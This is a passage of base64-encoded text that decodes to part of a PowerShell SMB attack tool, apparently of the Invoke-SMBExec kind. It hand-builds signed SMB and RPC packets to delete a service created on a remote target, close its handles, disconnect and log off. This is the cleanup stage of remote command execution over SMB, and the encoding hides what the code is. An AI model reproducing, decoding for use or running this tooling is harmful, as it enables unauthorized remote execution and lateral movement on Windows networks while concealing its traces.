pY2Ugb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbODguLjkxXSkgLWVxICcwMi0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBmYWlsZWQgdG8gc3RhcnQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDJmIDB4MTggMHgwNSwweDI4ICRTTUJfdHJlZV9JRCAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTURlbGV0ZVNlcnZpY2VXICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwNCwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJXcml0ZUFuZFhSZXF1ZXN0ICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDbG9zZVNlcnZpY2VIYW5kbGUnDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2Nsb3NlX3NlcnZpY2VfaGFuZGxlX3N0YWdlID0gMQ0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0Nsb3NlU2VydmljZUhhbmRsZScNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSAtZXEgMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTZXJ2aWNlICRTTUJfc2VydmljZSBkZWxldGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSsrDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01DbG9zZVNlcnZpY2VIYW5kbGUgJFNNQl9zZXJ2aWNlX2NvbnRleHRfaGFuZGxlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlICRTTUJfc2VydmljZV9tYW5hZ2VyX2NvbnRleHRfaGFuZGxlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDUsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCAkU0NNX2RhdGEubGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhWyJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCJdID0gJFNNQl9GSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQl9kYXRhLkxlbmd0aCArICRTQ01fZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRNRDUuQ29tcHV0ZUhhc2goJFNNQl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJFNNQl9zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnQ2xvc2VSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MDQgMHgxOCAweDA3LDB4YzggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CQ2xvc2VSZXF1ZXN0IDB4MDAsMHg0MA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVEaXNjb25uZWN0Jw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ1RyZWVEaXNjb25uZWN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzEgMHgxOCAweDA3LDB4YzggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnTG9nb2ZmJw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0xvZ29mZicNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDc0IDB4MTggMHgwNywweGM4IDB4MzQsMHhmZSAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJMb2dvZmZBbmRYUmVxdWVzdA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2Ns